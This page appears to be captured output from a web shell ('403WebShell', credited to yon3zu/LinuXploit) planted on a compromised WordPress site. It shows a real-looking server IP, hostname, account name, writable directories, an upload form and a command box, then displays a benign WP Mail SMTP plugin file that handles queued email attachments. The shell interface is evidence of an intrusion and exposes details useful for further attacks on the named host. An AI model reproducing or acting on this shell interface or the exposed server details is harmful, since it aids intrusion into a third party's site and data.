Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.142.42.247
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/blog.diixadigital.com/wp-content/plugins/wp-mail-smtp/src/Queue/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/blog.diixadigital.com/wp-content/plugins/wp-mail-smtp/src/Queue/Attachments.php
<?php

namespace WPMailSMTP\Queue;

use RecursiveDirectoryIterator;
use RecursiveIteratorIterator;
use WPMailSMTP\Uploads;

/**
 * Class Attachments.
 *
 * @since 4.0.0
 */
class Attachments {

	/**
	 * Process a list of file attachments.
	 *
	 * @since 4.0.0
	 *
	 * @param array $attachments List of attachments.
	 *
	 * @return array List of attachments.
	 */
	public function process_attachments( $attachments ) {

		$attachments = array_map(
			function( $attachment ) {
				[ $path, , $name, , , $is_string_attachment ] = $attachment;

				$path = $this->process_attachment( $path, $name, $is_string_attachment );

				if ( ! empty( $path ) ) {
					$attachment[0] = $path;
				}

				return $attachment;
			},
			$attachments
		);

		return $attachments;
	}

	/**
	 * Process an attachment,obfuscating its path
	 * and storing its file on disk.
	 *
	 * @since 4.0.0
	 *
	 * @param string $path                 The path to obfuscate.
	 * @param string $name                 The name of the file at $path.
	 * @param bool   $is_string_attachment Whether this attachment is a string attachment.
	 *
	 * @return string|false New path of the attachment, or false for no path.
	 */
	private function process_attachment( $path, $name = '', $is_string_attachment = false ) {

		$file_content = $this->get_attachment_file_content( $path, $is_string_attachment );

		if ( $file_content === false ) {
			return false;
		}

		if ( ! $is_string_attachment && $name === '' ) {
			$name = wp_basename( $path );
		}

		$name            = sanitize_file_name( $name );
		$obfuscated_path = $this->store_file( $file_content, $name );

		if ( empty( $obfuscated_path ) ) {
			return $path;
		}

		return $obfuscated_path;
	}

	/**
	 * Return the contents of a given file.
	 *
	 * @since 4.0.0
	 *
	 * @param string $path                 The file's path.
	 * @param bool   $is_string_attachment Whether this file is a string attachment.
	 *
	 * @return string File contents.
	 */
	private function get_attachment_file_content( $path, $is_string_attachment ) {

		if ( ! $is_string_attachment ) {
			if ( ! file_exists( $path ) ) {
				return false;
			}

			return file_get_contents( $path );
		}

		return $path;
	}

	/**
	 * Store a file.
	 *
	 * @since 4.0.0
	 *
	 * @param string $file_content      The file's contents.
	 * @param string $original_filename The original file's name.
	 *
	 * @return string The file's path.
	 */
	private function store_file( $file_content, $original_filename ) {

		$uploads_directory = $this->get_uploads_directory();

		if ( is_wp_error( $uploads_directory ) ) {
			return false;
		}

		if ( ! is_dir( $uploads_directory ) ) {
			wp_mkdir_p( $uploads_directory );

			// Check if the .htaccess exists in the root upload directory, if not - create it.
			Uploads::create_upload_dir_htaccess_file();

			// Check if the index.html exists in the directories, if not - create them.
			Uploads::create_index_html_file( Uploads::upload_dir()['path'] );
			Uploads::create_index_html_file( $uploads_directory );
		}

		$file_extension    = pathinfo( $original_filename, PATHINFO_EXTENSION );
		$filename          = wp_unique_filename( $uploads_directory, wp_generate_password( 32, false, false ) . '.' . $file_extension );
		$uploads_directory = trailingslashit( $uploads_directory );

		if ( ! is_writeable( $uploads_directory ) ) {
			return false;
		}

		$upload_path = $uploads_directory . $filename;

		if ( file_put_contents( $upload_path, $file_content ) !== false ) { // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_file_put_contents
			return $upload_path;
		}

		return false;
	}

	/**
	 * Delete attachments, removing their files from disk.
	 *
	 * @since 4.0.0
	 *
	 * @param null|array    $attachments     List of attachments to cleanup, or null for all attachments.
	 * @param null|DateTime $before_datetime The datetime attachments should be older than
	 *                                       to be removed, or null for all attachments.
	 *
	 * @return void.
	 */
	public function delete_attachments( $attachments = null, $before_datetime = null ) { // phpcs:ignore Generic.Metrics.CyclomaticComplexity.TooHigh

		$uploads_directory = $this->get_uploads_directory();

		if (
			is_wp_error( $uploads_directory ) ||
			! is_dir( $uploads_directory )
		) {
			return;
		}

		$files = [];

		// If no attachment list is provided, just iterate over all files in our uploads directory.
		if ( is_null( $attachments ) ) {
			$nodes = new RecursiveIteratorIterator(
				new RecursiveDirectoryIterator( $uploads_directory, RecursiveDirectoryIterator::SKIP_DOTS ),
				RecursiveIteratorIterator::CHILD_FIRST
			);
			$files = [];

			foreach ( $nodes as $fileinfo ) {
				if ( ! $fileinfo->isDir() ) {
					$files[] = $fileinfo->getRealPath();
				}
			}
		} else {
			// Map attachments to their paths.
			$files = wp_list_pluck( $attachments, 0 );

			// Exclude any files that aren't in our uploads directory.
			$files = array_filter(
				$files,
				function( $file ) use ( $uploads_directory ) {
					return trailingslashit( dirname( $file ) ) === $uploads_directory;
				}
			);
		}

		// Skip any file that doesn't exist.
		$files = array_filter(
			$files,
			function( $file ) {
				return file_exists( $file );
			}
		);

		if ( ! is_null( $before_datetime ) ) {
			// Skip any file that isn't older than the provided datetime.
			$before_timestamp = $before_datetime->getTimestamp();
			$files            = array_filter(
				$files,
				function( $file ) use ( $before_timestamp ) {
					return (
						filemtime( $file ) !== false &&
						filemtime( $file ) < $before_timestamp
					);
				}
			);
		}

		foreach ( $files as $file ) {
			@unlink( $file );
		}
	}

	/**
	 * Get the upload directory path.
	 *
	 * @since 4.0.0
	 *
	 * @return string|WP_Error The upload directory path.
	 */
	private function get_uploads_directory() {

		$uploads_directory = Uploads::upload_dir();

		if ( is_wp_error( $uploads_directory ) ) {
			return $uploads_directory;
		}

		return trailingslashit( trailingslashit( $uploads_directory['path'] ) . 'queue_attachments' );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit